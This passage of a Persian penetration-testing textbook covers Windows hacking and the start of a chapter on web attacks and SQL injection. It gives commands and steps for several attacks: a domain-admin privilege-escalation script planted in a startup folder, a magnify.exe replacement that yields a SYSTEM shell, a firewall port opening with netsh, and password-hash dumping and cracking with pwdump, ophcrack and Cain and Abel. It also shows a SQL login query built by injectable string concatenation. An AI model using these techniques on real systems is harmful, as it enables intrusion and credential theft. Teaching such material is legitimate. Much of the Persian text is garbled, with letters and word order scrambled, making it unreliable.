 که است نیا اقدامات از یکی دارد. وجود یمتقابل اقدامات نفوذ، کننده تست کی عنوان به
 کی از بلافاصله هش اگر که معناست بدان .دیکن اضافه NTLM هش به را یفعل زمان / خیتار

 شود. می یتلق نامعتبر شود،ن ارسال برنامه
 

Chntpw. 

 یخال یبرا و http://www.chntpw.com کرد دانلود نترنتیا از توان می که است یابزار
 فایل ابزار نیا .باشد می استفاده قابل CD ای USB قیطر از شود. می استفاده عبور یرمزها کردن
SAM ابزار کی و ،کند می یخال یراحت به را شده استفاده های رمزعبور و هکرد شیرایو را 

http://www.chntpw.com/
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 یبرا نصب 6-2 شکل کند. می یخال را SAM فایل در عبور یرمزها که باشد می مانفر خط
USB دهد. می نشان را 

 
 USB یبرا chntpw نصب .6-2 شکل

 

  (Net User Script) شبکه کاربر پتیاسکر

 سدطح  ازاتیامت حداقل با هدف نیماش به یدسترس به ازین ابتدا خاص (exploit) برداری بهره نیا
 ادمین گروه در را یفن یبانیپشت پرسنل سازمانها از یاریبس که تیواقع نیا اساس بر دارد. مهمان
 دهند. می قرار دامنه
 ندام  بدا  localaccountname کلمه که است )واضح سدینو می را ریز یخط دو پتیاسکر مهاجم
 : شود( می نیگزیجا یمحل سابح یواقع

net user /domain /add localaccountname password 

net group/domain "Domain Admins"/add localaccountname 

 که یبعد دفعه .دیکن رهیذخ کاربران همه (startup) یانداز راه فولدر در را پتیاسکر آن
 نام و شده اجرا ستمیس نیا شود، وارد ستمیس به دامنه ادمین یدسترس با یشخص

localaccountname که باشد می صورت بدین مشکل تنها بود. خواهد دامنه ادمین کی اکنون 
 یبرا شود. دستگاه آن وارد یازاتیامت نیچن با یشخص که بگذرد زمان یمدت دارد احتمال
 یبانیپشت هب ازین آن رفع یبرا که کرد خواهد جادیا ستمیس در یمشکل مهاجم امر، نیا تحقق
 به قادر شد خواهد ستمیس وارد که یبعد کاربر ،شبکه کارت کردن رفعالیغ مانند دارد، یفن

 یمنطق احتمال .ردیگ می تماس یفن یبانیپشت با و داشت نخواهد نترنتیا ای شبکه به یدسترس
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 آن یوقت باشد. دامنه های ادمین گروه از یعضو است یفن یبانیپشت عضو که یشخص که باشد می
 .شد خواهد اجرا متن ،یو از اطلاع بدون شود، می وارد کامپیوتر به مشکل رفع یبرا شخص

 مفهوم نیاول دهد. می نشان را مختلف یتیامن مسئله دو خاص (exploit) برداری بهره نیا 
 خود کار انجام یبرا را ازاتیامت حداقل کاربر هر که معناست بدان نیا است. ازاتیامت حداقل
 باشند. دامنه های ادمین گروه در دینبا یفن یبانیپشت پرسنل ،نینابراب دارد.
 برداری بهره نیا شود. کنترل دیبا شما های نیماش از کی هر به یدسترس که است نیا دوم مسئله
(exploit) مهاجم کی دارد. ازین قهیدق چند یبرا فقط و مهمان سطح در مهاجم یدسترس به فقط 

 آورد. دست به را دامنه ادمین ازاتیامت و کند حرکت جلو به تواند می ،یدسترس حداقل از ماهر
 

Login as System. 

 احرازهویت به که ،دارد شما شبکه در نیماش کی به یکیزیف یدسترس به ازین خاص حمله نیا
 هر وارد که یبار نیآخر به حمله، نیا درک یبرا ندارد. ازین کامپیوتر یحت ای دامنه به ورود
 متن های Box کنار در .دیکن فکر اید شده ندوزیو سرور یحت عامل سیستم دارای که ترکامپیو
 شما به که دارد وجود یدسترس تیقابل دکمه کی عبور(، رمز و یبرکار )نام ستمیس به ورود
 راه تیمعلول یدارا کاربران از گروه آن به کمک یبرا را یمختلف یابزارها دهد می امکان
 .دیکن یانداز راه را نیب ذره کلاس دیتوان می متن ییبزرگنما یبرا مثال، نوانع به .دیکن یانداز
 با سپس، کند. یانداز راه تواند می نوکسیل CD هر با را ستمیس مهاجم شخص حمله، نیا در

 دایرکتوری به رفتن با کند. می دایپ را ندوزیو شنیپارت مهاجم ،FDISK ابزار از استفاده
Windows \ System32، ابتدا تواند می مهاجم magnify.exe از بانیپشت نسخه کی و گرفته را 

 command.exe تواند می وی سپس بگذارد. magnify.bak را بانیپشت منا دیشا کند، هیته آن
 دهد. رییتغ magnify.exe را آن نام و گرفته را فرمان خط
 ستمیس login صفحه که یامهنگ .کند می (reboot) یانداز راه را ندوزیو دوباره مهاجم حالا
 آنجا از کند. می ییبزرگنما سپس و کرده کیکل را یدسترس مهاجم یشخص شود، می ظاهر
 (command-line) فرمان خط واقع در ،افتی نام رییتغ magnify.exe به command.exe که
 فرمان خط نتیجه در است، نشده ستمیس وارد یکاربر چیه هنوز شود. می یانداز راه

command prompt شده اجرا دستورات مهاجم مرحله، نیا در است. ستمیس ازاتیامت یدارا 
 .باشد می وی command prompt دانش به محدود فقط
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 قهیدق 10 یحت بتواند مهاجم کی اگر دهد. می نشان را فیزیکی تیامن به ازین خاص حمله نیا
 شبکه شکستن یبرا یراه احتمالاً باشد، است ندوزیو عامل سیستم دارای که یوتریکامپ با تنها
 کند. می دایپ
 

 Find the Admin ادمین یافتن

 را ادمین حساب نام که باشید داشته توجه است. خوب یتیامن روش کی حسابها نام رییتغ
administrator فرمان خط ابزار از حال، نیا با .نگذارید sid2user دادن قرار یبرا توان می 

 کرد: ادهاستف یواقع ادمین حساب
sid2user 

sid2user [\\computer_name] authority subauthority1 
 یمحل کامپیوتر کی از جستجو فر ، شیپ طور به است. یاریاختcomputer_name که ییجا

Windows NT مثلا: شود. می شروع 
sid2user 5 32 544 

500sid2user 5 21 201642981 56263093 24269216  
 کند. می لیتبد یواقع ادمین به را شما شهیهم دستور 

http://www.securityfocus.com/tools/544 
 دارد. 500 یکداربر  شناسده  شهیهم ادمین .دیکن مشاهده عمل در را sid2user دیتوان می 6-3شکل در 

 کده  را ینقشد  تا کند می کمک شما به تیواقع دو نیا است. 501 شهیهم مهمان که است ذکر به لازم
 لیندک  در هدا  SID موضدوع  درباره یمفصل ای مقاله کروسافتیما .دیکن ییشناسا دارد مشخص کاربر

https://msdn.microsoft.com/enus/library/windows/desktop/aa379571(v=vs.85) 
.aspx .دارد 

 
 عمل در sid2user .6-3 شکل
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Windows Scripting. 

 دیمف نفوذ تست و هک در تواند یم که دارد وجود (command-line) فرمان خط ابزار یتعداد
 اطلاعات افزایش در دتوان می دستگاه، به یدسترس محض به ،net دستور از استفاده با باشد.

 یاریبس .دیسیبنو پتیاسکر صورت به را موارد نیا دیتوان می نیهمچن .دکن کمک شما به شتریب
 دارد تعجب جای ولی دارند. اجیاحت یمحل ادمین)مدیریتی( ازاتیامت به کردن کار یبرا نهایا از
 های کامپیوتر به یمحل )مدیریتی( ادمین ازاتیامت با روزمره طور به افراد از یاریبس چگونه که
 پوشش را دستورات ترین یاساس از یتعداد شوند می دنبال که ییبخشها شوند. می وارد خود
 دهد. می
 

net users. 

 .دیکن مشاهده 6-4 شکل در را آن دیتوان می .کند می شمارش را کاربران net users دستور
 

 
 

 net users دستور .6-4 شکل

 

net view. 

 دهد می نشان را ای شبکه دستور نیا است. مناسب بسیار دستورات از یکی net view دستور
 ،دیباش کرده دایپ یدسترس نیماش کی به اگر کند. برقرار ارتباط ها آن با تواند می کامپیوتر که
 در را net view است. ارزشمند اریبس (enumerating) شبکه کردن شمارش در توردس نیا

 .دیکن می مشاهده 6-5 شکل
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 net view دستور .6-5 شکل

 

net share. 

 کامپیوتر نیا که ای شبکه اشتراک تمام ابزار نیا است. شمارش مناسب یابزارها از گرید یکی
 مشاهده 6-6 شکل در دیتوان می دهد. می نشان شما به را ،باشد داشته یدسترس آن به تواند می
 .دیکن
 مرحله است ممکن .دیکن توجه است شده گذاشته اشتراک به که Workforce845 چاپگر به
 باشد. شبکه نیا در شما نفوذ تست یبعد

 
 .net share دستور .6-6 شکل

 
net service   

 مثلا: کرد. دهاستفا خدمات توقف ای شروع یبرا توان می net دستور از
net start service 

net stop service 
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 :شامل مشترک خدمات
 مرورگر browser  
 دهنده هشدار alerter 
 رسان امیپ messenger 
 دور راه از یدسترس و یابیریمس “routing and remote access” 
 زمانبندی schedule 
 اسپولرSpooler 
 

Netshell. 

netshell ای netsh مطالعه را مطالب نیا که طور همان دهد. می ارائه لبجا دستور یتعداد 
 در شده یمعرف پتیاسکر های روسیو با را ها آن چگونه که بیندیشید موضوع نیا به ،کنید می
 .کرد دیخواه مشاهده یجالب امکانات کنم می فکر .دیکن بیترک 5 فصل
 :میکن یبررس روالیفا در پورت کردن باز یبرا ای لهیوس عنوان به را netsh ابتدا

netsh firewall set portopening tcp 445 smb enable 

 شدده  منسدوخ  netsh فدایروال  کده  شدود  می داده اطلاع شما به ولی ،کرد خواهد کار دستور نیا
 است.

 تکرار گرید پورت کی و (netsh advfirewall firewal) دیجد دستور با را تست محیط 
 .دیکن مشاهده 6-7 شکل در دیتوان می را موضوع نیا .دیکن

 
 firewall advfirewall netsh .6-7 شکل
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 مانند: دارد، وجود گرید نهیگز نیچند
netsh wlan show networks 
netsh interface ip show config 

 قبلاً که net view دستور با که ،دیشو متصل شبکه آن در گرید کامپیوتر کی به دیتوان می یحت
 کند: یم کار کردیم امتحان

netsh set machine remotecomputer 

 دارد. را کردن امتحان ارزش اما بود، نخواهد موفق شهیهم مورد نیا
 

 Windows Password Cracking ندوزیو عبور رمز شکستن

 کی که است مهم است. ندوزیو هک های جنبه ترین یاساس از یکی عبور رمز شکستن
 حتما دارید را کار این توانایی اگر بشکند. را ندوزیو عبور یرمزها کند یسع نفوذ کننده تست
 یبررس را ابزار نیچند بخش نیا در ما تواند. می زین مهاجم کی چون دهید انجام را کار این
 دادن قرار یبرا اما ،میکرد یبررس یرمزنگار 3 فصل در را موارد نیا از یبرخ کرد. میخواه
 .شود می بحث نجایا در وبارهد ،ندوزیو عبور رمز شکستن متن در ها آن
 

Offline NT Registry Editor. 

 کاملاً و عیسر اریبس معمولاً کند. می پاک را نظر مورد نیماش عبور یرمزها یراحت به ابزار نیا
 https://www.lifewire.com لینک در گانیرا دانلود صورت به نیهمچن .باشد می مؤثر

/offline-nt-password-andregistry-editor-review-2626147 از حال، نیا با .دارد قرار 
 .باشند می یخال یمحل عبور یرمزها که است واضح کاملاً مهاجم، کی نظر

 
LCP. 

LCP لینک از را آن دیتوان می باشد. می ندوزیو مؤثر رمزعبور شکننده اما ،یمیقد افزار نرم کی 
http://www.tucows.com/preview/391886/LCP امکان شما به ابزار نیا .دیکن دانلود 

 شبکه همان در گرید نیماش جمله از ،دیکن وارد یمختلف های مکان از را ها هش دهد می
(Import> Import From Remote Computer) است. شده داده نشان 6-8 شکل در که 
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 LCP .6-8 شکل

 

pwdump. 

 نیمتخصص یبرا آن از استفاده نیبنابرا شود، می استفاده مهاجمان توسط که است جیرا یابزار
 هیته عبور، رمز شکستن یابزارها از یاریبس یبرا مرحله نیاول .باشد می مناسب یامر زین تیامن
 Windows Security Accounts Manager (SAM) فایل از یمحل عبور رمز هش از یکپ

 را عبور زرم هش pwdump برنامه کند. می رهیذخ را عبور رمز هش ندوزیو جاآن رد که است
 /http://www.openwall.com در گانیرا صورت به که کند. می استخراج SAM فایل از

passwords/windows-pwdump دارد قرار. 
 شیرایو مجدداً یواقع های هش .باشد می pwdump7 یخروج از یریتصو 6-9 شکل
 شود. می انجام live دستگاه یرو بر کار نیا رایز شوند، می

 
 pwdump .6-9 شکل
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 ابزار کی در را ها آن دیبتوان تا ریخته یخارج لیفا کی به را ها هش دیخواه می اوقات، گاهی
 فصل در مفصل طور به کمان نیرنگ جداول .دیکن وارد (rainbow table )کمان نیرنگ جدول

 محاسبه شیپ از های هش جداول ها آن که شود می یادآوری فقط اکنون اما شد، داده حیتوض 3
 عملیات با یراحت به کار نیا شوند. می استفاده عبور یرمزها حدس یبرا که هستند ای شده

piping یخروج pwdump مثلاً شود. می انجام تست لیفا کی به: 
pwdump > passwordhashes.txt 

 کمان نیرنگ جدول ابزار هر از دیتوان می ،دیگرفت اریاخت در را عبور رمز هش که یهنگام
(rainbow table) کی نیا هستند. یابیباز قابل عبور یرمزها ایآ دیکن یبررس تا کرده استفاده 

 .باشد می تانسازمان عبور یرمزها قدرت دییتأ یبرا روش
 

ophcrack . 

 باشد می مهم هتج آن از ophcrack است. عبور رمز شکستن یابزارها نیپرکاربردتر از یکی
 CD یرو را ستمیس ،شود می انجام کار نیا اگر شود. نصب بوت قابل CD یرو تواند می که
 را عبور یرمزها دیکن می یسع و دیزن می دور را ندوزیو تیامن نیبنابرا ،دیکن می یانداز راه
 ارائه گانیرا صورت به را کوچک کمان نیرنگ جدول کی ophcrack . کنید( )کرکدیبشکن
 از را ophcrack دیتوان می کرد. یداریخر را بزرگتر کمان نیرنگ های جدول دیبا دهد. می

 SAM لیفا هیتخل یبرا نیهمچن .دیکن دانلود /http://ophcrack.sourceforge.net لینک
 یبرا را SAM فایل در موجود های داده عو ، در .ستین ای جداگانه فرایند به یازین ندوزیو

 یرمزها و ها هش دهد. می نشان را ophcrack از یخروج 60-1 شکل .آورد می دست به شما
 شوند. می شیرایو دوباره یواقع عبور

توانندد در   ابزارهدا مدی   نید ، ادید کن استفاده می شکن رمز خاص ابزاراز کدام  نکهیصرف نظر از ا
، و دیعبدور را بشدکن   یرمزهدا  دید خواه مهم باشند. اساساً، می اریبستان عبور یرمزها تیامن دییتأ

 .ستندین یقو یبه اندازه کاف انتعبورهای دهد که رمز ، نشان میشویداگر موفق 
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 .ophcrack .6-10 شکل

 

John the Ripper. 

 مخصدوص  فقدط  و ،باشدد  عبدور  رمدز  شکسدتن  ابزار ترین شده شناخته و ترین یمیقد دارد امکان
 از دید توان مدی  را John Ripper دارد. وجدود  زید ن نتاشیمک و نوکسیل های نسخه و ستین ندوزیو

 .دیکن دانلود  /http://www.openwall.com/john لینک
John Ripper فرمان خط نوع از یابزار (command-line) .است  

 دارد. وجود http://openwall.info/wiki/john/tutorials لینک در کامل یآموزشها حال، نیا با
 

 Detecting Malware in Windows ندوزیو در بدافزار ییشناسا

 هدف دارد. مهاجم کی به نسبت یمتفاوت هدف نفوذ هکنند تست کی ،دیباش داشته خاطر به
 یزیمم یبررس کی و نفوذ کننده تست کی معمولاً نیهمچن است. تیامن ارتقا نفوذ کننده تست
 شود. می انجام همزمان طور به پذیری آسیب / رخداد به واکنش /

 شهیهم .دیاشب داشته ندوزیو کامپیوتر در بدافزار ییشناسا مورد در دانش شما که است مهم
 مثال، عنوان به باشد. صیتشخ قابل روسیو یآنت افزار نرم توسط بدافزار که باشد نمی نگونهیا

 یبرا ییامضا چیه هنوز رایز است دشوار (Zero-day)روزه صفر های اکسپلویت یا برداری بهره
 :است شده فیتوص قول نقل نیا در وجه نیبهتر به روزه صفر های بهره .ندارد وجود ها آن
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Zero-day شوند، می متوجه افزار نرم در یتیامن مشکل کی "موجه افراد" که یزمان مدت به 
 افزار نرم تیامن در یشکاف Zero-day پذیری آسیب دارد. وجود Zero-day نوع دو دارد. اشاره
 کی ،گرید طرف از باشد. داشته وجود اپلیکیشن کی ای مرورگر کی در تواند می و است

 یبرا Zero-day های پذیری آسیب از که باشد می یتالیجید حمله کی ،Zero-day اکسپلویت
 کند. می استفاده دستگاه یرو بر مخرب افزار نرم نصب

Avast, https://www.avast.com/c-zero-day. 
 صیتشخ را یبدافزار نیچن وجود ،تینام یزیمم ای نفوذ تست انجام هنگام چگونه ،نیبنابرا
 یزیچ آن از دشوارتر ندوزیو عامل سیستم دارای های کامپیوتر یبرا حداقل واقع در د؟یده می
 دارد. وجود کامپیوتر در ها یناهنجار یجستجو یبرا ییابزارها .دیکن می فکر که است

Windows Sysinternals است چینوویروس مارک توسط شده جادیا یابزارها از ای مجموعه 
 در /https://docs.microsoft.com/en-us/sysinternals آدرس به کروسافتیما قیطر از که

 کند. یبررس را ستمیس های جنبه از یاریبس تواند می ابزار مجموعه نیا است. دسترس
 در یهافرایند (،Explorer) کاوش فرایند است، شده داده نشان 6-11 شکل در که طور همان
 دهد. می نشان است، کرده شروع را ها فرایند نیا یفرایند چه نکهیا و جراا حال

 
 Explorer فرایند .6-11 شکل

https://www.avast.com/c-zero-day
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 دهد می نشان را هایی برنامه Autoruns ابزار است، شده داده نشان 6-12 شکل در که طور همان
 .باشد می بدافزار های نشانه از اغلب که اند، شده میتنظ خودکار یاجرا یبرا که

 

 
 Autoruns .6-12 شکل

 

 کرده یبررس را ستمیس های فایل یتالیجید هایامضا که است ای برنامه ،sigverif شامل خود ندوزیو
 .دیکن مشاهده را آن 6-13 شکل در دیتوان یم و کند، می حاصل اطمینان ها آن بودن یقانون از و

 

 
 Sigverif .6-13 شکل
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 جرایم در یگاه که بوده یتیامن یابزارها شتریب ها آن .ستندین نفوذ تست ابزار واقع در ابزارها نیا
 :دیبسپار بخاطر را موضوع کی کتاب نیا سراسر در .رندیگ می قرار استفاده مورد زین ای رایانه
 ولی کرد، خواهد استفاده هک های کیتکن از یو .باشد نمی هکر یک نفوذ، کننده تست کی

 و ابزارها از یبرخ کتاب نیا در اوقات یگاه ،نیبنابرا است.، ستمیس تیامن بهبود ییهان هدف
 عبارت به اما ،هستند دیمف تیامن یبرا که شود می گذاشته شینما به شما یبرا هایی کیتکن
 ،باشند می نفوذ تست های کتاب که کنند می ادعا ها کتاب از یاریبس .ستندین نفوذ تست ،تر قیدق
 های مهارت از همیشه که امید این به دهد می را دنکر هک نحوه آموزش شما به واقع در ولی
 که مفهوم بدان داد، خواهم آموزش را نفوذ تست شما به کتاب، نیا در .شود استفاده یاخلاق
 نباشد. "هک" خاص طور به که دارد احتمال و شتهدا علاقه تیامن تست به افراد
 

 Cain and Abel قابیل و هابیل

 به کند. می کمک یادیز اطلاعات استخراج به که است تماداع قابل اما یمیقد ابزار کی
 یدارا ابزار نیا .کنید دانلود توانید می http://www.oxid.it/cain.html از گانیرا صورت
 .باشد می توجه جالب یژگیو یتعداد
 را ندوزیو یستریرج توانند می که باشد می این Abel و Cain ی ها یژگیو نیبارزتر از یکی

 دیکن مشاهده 6-14 شکل در دیتوان می کنند. افتیدر را Wi-Fi عبور یرمزها و خوانده
(SSID کرده رییتغ مجدداً عبور یرمزها و )اند . 

 
 .6-14شکل 
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 یرو سپس و کرده هایلایت را میس یب عبور یرمزها یسادگ به ،یژگیو نیا از استفاده یبرا
 Wi-Fi های رمزعبور تمام لحظه چند در .دیکن کیکل ابزار نوار در علاوه به بزرگ یآب علامت

 کرد. دیخواه رهیذخ کامپیوتر نیا در را
 SAM لیفا از عبور یرمزها استخراج یبرا Abel و Cain یبرا توان می مشابه فرایندی از

 .دیکن مشاهده 6-15 شکل در دیتوان می که ophcrack مانند قاًیدق کرد، استفاده یمحل دستگاه
 

 
 

 .Abel و Cain ندوزیو یرمزها .6-15 شکل
 

 در مرورگر توسط شده رهیذخ عبور یرمزها دیتوان می فرایند نیهم از استفاده با نیهمچن
Windows Vault کرد. مشاهده 6-16 شکل در توان می را نیا .دیکن استخراج را 

 
 

 .Abel و Cain مرورگر یرمزها .6-16 شکل
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 نیماشد  کید  بده  دهدد  مدی  امکدان  شدما  بده  ارهکد  همده  ابدزار  نیا ،دیکن می مشاهده که طور همان
 یبدرا  گدر ید هدای  مکان در تواند می که را متفاوت عبور رمز یادیز تعداد و ،دیکن دایپ یدسترس
 .دیکن استخراج شود، استفاده هدف شبکه در نفوذ گسترش

 

 خلاصه

 کی که است مهم شد. یبررس Microsoft Windows بنیادی های جنبه از یبرخ فصل نیا در
 از یبرخ نیهمچن باشد. آشنا باشد می آن تست حال در که یعامل ستمیس با نفوذ کننده ستت

 ایآ که کردیم یبررس کرد استفاده ندوزیو در توان می که را خاص یابزارها و ها کیتکن
 ،قیدق عبارت به ها، کیتکن نیا از یبرخ که یحال در .خیر یا است دهافتا خطر به یستمیس

 هستند. تیامن یزیمم کی از یبخش ولی ،ندباش نمی نفوذ تست

 این به روش نیبهتر است. ندوزیو کردن هک یبرا ای مقدمه فقط نیا که دیباش داشته خاطر به
 که ببینید، آموزش ندوزیو یفعل نسخه مورد در دیتوان می که آنجا تا که باشد می صورت

 یبررس هنگام در که دیباش اشتهد بخاطر است. ندوزیو در یتیامن نقص تست یبرا راه همترینم
Metasploit، کرد خواهیم مشاهده کتاب نیا در را ندوزیو های هک ریسا. 
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 فصل اهداف

 :بود دیخواه قادر ،فصل نیا خواندن از پس
 کرد. خواهید درک را ها سایت وب کار نحوه ضروری موارد 
 کرد. خواهید درک را ها سایت وب در نفوذ تست 
 کرد. خواهید درک را سایت وب مختلف حملات 

 جذاب هدف یک ،سایت وب بنابراین .است سایت وب شبکه، هر نمایش معر  در قسمت
 های فصل در .کنید تست را سایت وب باید ،نفوذ تست هر در .کند می ایجاد مهاجمان برای
 .کرد خواهیم بررسی وب تصفحا و وب سرورهای برای را پذیری آسیب اسکنرهای ما ،بعدی
 حملاتی چنین به خودکار صورت به توانند می که را ابزار چند و خاص حملات فصل این در

 .کرد خواهیم بررسی ،کنند کمک
 

  (Web Technology) وب فناوری

 برای باید موارد این بیشتر .باشید داشته را ها سایت وب کارکردن دانش که است مهم درابتدا
 شما به بخش این ،دارید خلأ خود دانش در اگر ولی ،شود بررسی انندگانخو از بسیاری
 .کنید پر را اطلاعاتی خلا آن تا کرد خواهد کمک
 روی معمول طور به پروتکل این .کند می استفاده (HTTP) متن انتقال پروتکل از وب ترافیک
 عمل نیز 443 پورت در ،باشد شده رمزگذاری SSL / TLS با اگر .کند می کار 80 پورت
 ،باشند می فر  پیش های پورت اینها .باشد می پیام طریق از ارتباط اصلی وسیله .کرد خواهد
 .کنید استفاده بخواهید که پورتی هر از توانید می شما اما

 کند ارسال وب صفحه یک است ممکن که را HTTP اصلی پیامهای از ای خلاصه 1-7 جدول
 .دهد می ارائه
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 بیشتر در است ممکن ،حقیقت در .است POST و GET، HEAD، PUT اه آن رایجترین
 کمتر بسیار UNLINK و LINK .ببینید را دستور چهار این فقط ،وب ترافیک تحلیل و تجزیه
 بسیار بنابراین .است اطلاعات گرفتن سرور GET دستور واقع در که بدانید باید .باشند می رایج
 :است زیر شرح به دو ینا تفاوت .باشد می POST دستور شبیه
 های درخواست GET های درخواست .دارند ذخیره قابلیت POST شوند نمی ذخیره هرگز. 
 های درخواست GET های درخواست .مانند می باقی مرورگر تاریخچه در POST در 

 .ماند نمی باقی مرورگر تاریخچه
 های درخواست GET درخواست .کرد گذاری نشانه توان می را POST نشانه توان مین را 

 .کرد گذاری
 های درخواست از GET شود استفاده حساس های داده با کار هنگام نباید هرگز. 
 های درخواست GET های درخواست .هستند طول های محدودیت دارای POST هیچ 

 .ندارند داده طول در محدودیتی
 نشد پیدا فایل 404 خطای " احتمالاً .هستند مهم اندازه همان به Response پاسخ کدهای

Error 404 file not found " نبوده آگاه موضوع این از است ممکن ولی .اید کرده مشاهده را 
 که طور همان ،کنید نمی مشاهده را ها آن بیشتر که ،روند می جلو و عقب به زیادی های پیام که
 .است آمده 2-7 جدول در
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 است شفاف کاربر برای مرورگر / سرور وب های پیام 2-7 جدول

Message 
Range 

 مفهوم

100–199 

 ،گویدد  مدی  شدما  مرورگر به را اطلاعات از برخی سرور .هستند اطلاعاتی فقط پیامها این
 بده  http از کده  هنگامی ،مثال عنوان به .شوند نمی داده نمایش کاربر به هرگز ها آن بیشتر
https پروتکدل  گویدد  می آن به که شود می داده مرورگر به 101 پیام یک ،کند می تغییر 
 .است تغییر حال در

200–299 

 درخواسدت  مرورگدر  هرچده  کده  معندی  بددین  ،هسدتند  "OK" پیامهدای  اساسداً  پیامها این
 ،POST مانندد  شدما  HTTP اصدلی  هدای  پیام .شود می پردازش موفقیت با سرور ،کند می

GET، HEAD کنند دریافت پاسخ در 200کد ،صحیح عملکرد صورت در باید غیره و. 

300–399 

 بده  .برود دیگر URL یک به گویند می مرورگر به که هستند هدایتی های پیام ،پیامها این
 URL یدک  بده  همیشده  بدرای  درخواسدتی  منبع که باشد می معنی این به 301 ،مثال عنوان
 .است موقت انتقال که دهد می نشان 307 پیام کد ولی ،شود می منتقل جدید

400–499 

 داده نشدان  نهدایی  کداربر  بده  اغلدب  که خطاهایی و ،باشند می مشتری خطاهای پیامها این
 اسدت  نشده پیدا 404 فایل ،مثال عنوان به زیرا برسد نظر به عجیب است ممکن .شوند می
 مسدئله  ،حدال  ایدن  با .کند پیدا را نظرتان مورد فایل تواند نمی سرور که است معنی این به
 ،بندابراین  .نیسدت  موجدود  فایدل  فقدط  یدا  ،کندد  یمد  کدار  درسدت  سرور آیا که است این

 باشد. می خطا دارای مشتری درخواست

500–599 

 سدرویس  که است معنی این به 503 ،مثال عنوان به .هستند سرور سمت خطاهای پیامها این
 مرتبداً  را خطدا  این .دارد (overload) سربار حد از بیش احتمالاً باشد، می down درخواستی

 .کرد خواهید مشاهده denial-of-service (DoS) سرویس ارانک حملات در
 

 کاربر توسط هرگز ها آن بیشتر .شود می ارسال مرورگر به سرور وب از اساسی های پیام این
 شوند. نمی مشاهده نهایی

 شناسایی مورد در 4 فصل در .کند می کمک اطلاعات آوری جمع در شما به خطا های پیام این
 شناسایی هدف .ببریم جلوتر قدم یک را آن توانیم می وب صفحات از تفادهاس با .کردیم بحث
 انگشت اثر را فرایند این .است استفاده مورد نویسی برنامه های زبان و سرور وب
(fingerprinting) کنند، می استفاده آن از ماهر هکرهای که رایج های روش از یکی .نامند می 
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 خطا پیام از است ممکن ،کنید وارد نادرستی ورودی توانید می اگر .باشد می خطا های پیام ایجاد
 را باشد می "JDBC" حاوی که را خطایی پیغام اگر ،مثال عنوان به .کنید دریافت اطلاعات

 شده نوشته جاوا کد به که است معنی بدان و است جاوا داده پایگاه اتصال همان ،گرفتید پس
 برنامه) نویسی برنامه درباره کمی دانستن ،مناسب (fingerprinting) انگشت اثر کلید .است
 .باشد می سرورها وب و (وب نویسی

 

 ها سایت وب به خاص حملات

 قطعاً که هستند مواردی اینها .کرد خواهیم بررسی را حملات ترین رایج از برخی ،بخش این در
 قابل دستی صورت هب موارد این بیشتر .دهید قرار تست مورد ها آن برای را سایت وب یک باید
 در شما به توانند می که کرد خواهیم بررسی را ابزار چند فصل این در بعداً .هستند تست

 .کنند کمک تست فرایند اتوماسیون
 

 SQL اسکریپت تزریق

 زیادی های سایت وب ،اخیر های سال در .باشد ها سایت وب به حمله ترین محبوب است ممکن
 این ،متأسفانه .هستند حساس ها سایت وب از بسیاری اند. کرده هحمل این خطرات بهبود به اقدام
 و وب برنامه یک به Structured Query Language (SQL) دستورات انتقال بر مبتنی حمله
 .میباشد ها آن اجرای برای سایت وب کردن مجبور
 صحبت ای رابطه های داده پایگاه و SQL مورد در باید ،SQL تزریق مورد در بحث از قبل
 بر ای رابطه داده های پایگاه .باشد خوانندگان اکثر برای مرور یک تواند می درواقع که کنیم،
 و اصلی کلیدهای ،جداول شامل ساختار این .باشد می مختلف جداول بین روابط اساس
 :کرد خلاصه زیر نکات با توان می را اساسی توضیحات .است روابط و خارجی

 .دهد می نشان را فرد به رمنحص موجودیت یک ردیف هر -
 .دهد می نشان را فرد به منحصر ویژگی یک ستون هر -
 .شود می مشخص اصلی کلید نام به فرد به منحصر شماره یک با رکورد هر -
 .است دیگری جدول اصلی کلید خارجی کلید .هستند مرتبط خارجی کلیدهای با جداول -
 .کنید مشاهده 7-1 شکل در توانید می را روابط این



 Hacking Windows  195: هک کردن ویندوز 6فصل 

 

 
 

 .ای رابطه داده پایگاه ساختار .7-1 شکل
 

 ،SELECT مانند دستوراتی از SQL .کنند می استفاده SQL از ای رابطه داده های پایگاه تمام
UPDATE، DELETE، INSERT، WHERE و درک حداقل .کند می استفاده موارد سایر و 

 .است آسان بسیار بنیادی (query) های جو و پرس تفسیر
 

 SQL تزریق ینتر بنیادی

 دارای ها اپلیکیشن / ها سایت وب از بسیاری .کند می کار SQL تزریق ترین اساسی که روشی
 نام این .کنند می وارد آن در را خود ورود رمز و کاربری نام کاربران که هستند ای صفحه
 نظر صرف .باشد معتبر تا شود بررسی ها داده پایگاه از برخی برابر در باید عبور رمز و کاربری

 SQL صورت به داده های پایگاه همه (،Oracle، SQL Server، MySQL) داده پایگاه نوع از
 نام یک بررسی برای ،مثال عنوان به باشد. می انگلیسی زبان شبیه بسیار SQL .کنند می صحبت
 در آیا ببینید و کرده جو و پرس داده پایگاه از بخواهید است ممکن ،عبور رمز و کاربری
 .خیر یا دارد مطابقت شده وارد ورود رمز و کاربری نام آن با خاصی ورودی کاربران ولجد
 :باشد این به شبیه چیزی است ممکن SQL دستور .دارید تطابق یک شما پس ،دارد وجود اگر

 

"SELECT * FROM tblUsers WHERE USERNAME = 'jdoe' AND 

PASSWORD = 'letmein'" 
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 نام که باشد می صورت این به ،دارد وجود مورد این در که شکلیم است، معتبر SQL اگرچه
 هر باید ،واقعی سایت وب یک برای .ایم کرده گذاری کد سختی به را عبور رمز و کاربری
 این .کنیم بررسی را آن و دریافت را کند می عبور رمز و کاربری نام فیلد وارد کاربر که آنچه
 نویسی اسکریپت زبان ای یسینو برنامه نکهیا از نظر صرف) باشد می انجام قابل راحتی به کار
 زیرمی مورد به شبیه چیزی رسد می نظر به . (است شده یزیر برنامه صورت چه به تیسا وب
 :باشد

String sSQL = "SELECT * FROM tblUSERS WHERE UserName 
' " + txtUserName.text + " ' 

AND Password = ' " + txtPassword.text + " ' " 
 

 هر که شود می انجام منظور این به کار این .کنید توجه بالا در بزرگ حروف با اضافی موارد به
 های قول نقل داخل در یک هر ،کند می وارد عبور رمز و کاربری نام برای کاربر آنچه
(quotes) عبارت در مندرج ،باشد منفرد SQL قول نقل به خود نوبه به که ،بزرگتر (quote) 

 .شود می تبدیل دوبرابر
 را زیر SQL دستور کد این ،کنید وارد را "letmein" عبور رمز و "jdoe" کاربری نام اگر
 :کند می تولید

"SELECT * FROM tblUsers WHERE USERNAME = 'jdoe' AND 

PASSWORD = 'letmein' " 
 

 letmein کاربر آن دورو رمز و باشد داشته وجود tblUsers در jdoe کاربری نام اگر حال
